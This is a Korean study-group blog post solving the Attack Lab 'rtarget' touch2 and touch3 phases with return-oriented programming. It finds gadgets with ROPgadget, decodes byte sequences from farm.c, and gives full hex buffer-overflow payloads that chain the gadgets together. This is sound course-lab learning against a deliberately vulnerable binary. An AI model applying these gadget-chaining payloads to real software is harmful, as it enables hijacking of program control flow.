[모각코] 2025 동계 4회차

안우진·2025년 1월 27일
0

모각코

목록 보기
10/19

[Return Oriented Programming]

Attack Lab rtarget touch2 touch3 실습

1) touch2


0x59b997fa 값을 rdi에 할당하고 touch2에 진입해야한다.

ROPgadget --binary=./rtarget | grep "pop rdi"
위 명령어로 0x40141b 를 얻었다.

movaps 어셈은 stack 주소가 0x10으로 정렬되어 있어야 한다고 하여, 주소 정렬을 위한 retq 가젯을 추가한다.
ROPgadget --binary=./rtarget | grep "ret"
위 명령어로 0x400c55를 얻었다.

touch2의 주소는 0x4017ec 이므로 아래와 같이 입력을 구성한다.

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1b 14 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
55 0c 40 00 00 00 00 00
ec 17 40 00 00 00 00 00


farm.c를 활용하여 다시 풀어보자.

00000000004019ca <getval_280>:
  4019ca:       b8 29 58 90 c3          mov    $0xc3905829,%eax
  4019cf:       c3                      ret

위를 바탕으로 0x4019cc를 수행하면 아래와 같다.

58 popq %rax
90 nop
c3 retq

nop는 no operation이다.
popq %rdi0x5f인데, 주어진 farm에서는 찾을 수 없어 간접적으로 한다.


48 89 c7 movq %rax, %rdi
c3       retq

위를 수행하고 touch2로 진입하면 farm만 이용하여 성공시킬 수 있다.

00000000004019a0 <addval_273>:
  4019a0:       8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:       c3

0x4019a2를 수행하면 rax의 값을 rdi로 옮길 수 있다.

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

2) touch3


문자열 35 39 62 39 39 37 66 61 00을 rdi로 하고 touch3를 수행해야한다.
문자열의 주소를 넘겨야 한다. 입력을 하면 stack에 쌓이기 때문에 rsp + offset으로 접근할 수 있다.

0000000000401aab <setval_350>:
  401aab:       c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:       c3

0x401aad 으로 movq %rsp, %rax nop retq 를 수행할 수 있다.


offset을 더해야 하는데.. 다행히 farm 부분에 add_xy(rdi, rsi) 함수가 존재한다.
rsi 값을 지정하기 위해 farm에서 movX X, %Xsi와 같이 활용할 수 있는 부분을 전부 확인한다.

0000000000401a11 <addval_436>:
  401a11:       8d 87 89 ce 90 90       lea    -0x6f6f3177(%rdi),%eax
  401a17:       c3

0x401a13 : mov %ecx, %esi nop nop retq 만 존재한다.


rcx에 관한 것도 마찬가지로 찾아보면,

0000000000401a6e <setval_167>:
  401a6e:       c7 07 89 d1 91 c3       movl   $0xc391d189,(%rdi)
  401a74:       c3

0x401a72 는 eax와 ecx의 값을 교환한다.


0x401aad - rsp -> rax
0x4019a2 - rax -> rdi (touch2 할 때 구함)
0x4019cc - popq %rax
0x000048 - offset
0x401a72 - eax와 ecx 값 교환
0x401a13 - ecx -> esi
0x4019d6 - add_xy # rsp + 0x48
0x4019a2 - rax -> rdi
0x401a74 - retq (rsp 주소 정렬)
0x4018fa - touch3
string

순으로 입력하면 touch3를 성공적으로 실행할 수 있다.

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
72 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
74 1a 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00

처음에 rsp -> rax 대신 esp -> eax로 하여 다른 방향으로 동작했다.
stack 포인터 rsp는 0x7ff..인 8바이트 데이터로, esp로는 rsp를 표현할 수 없다.

0개의 댓글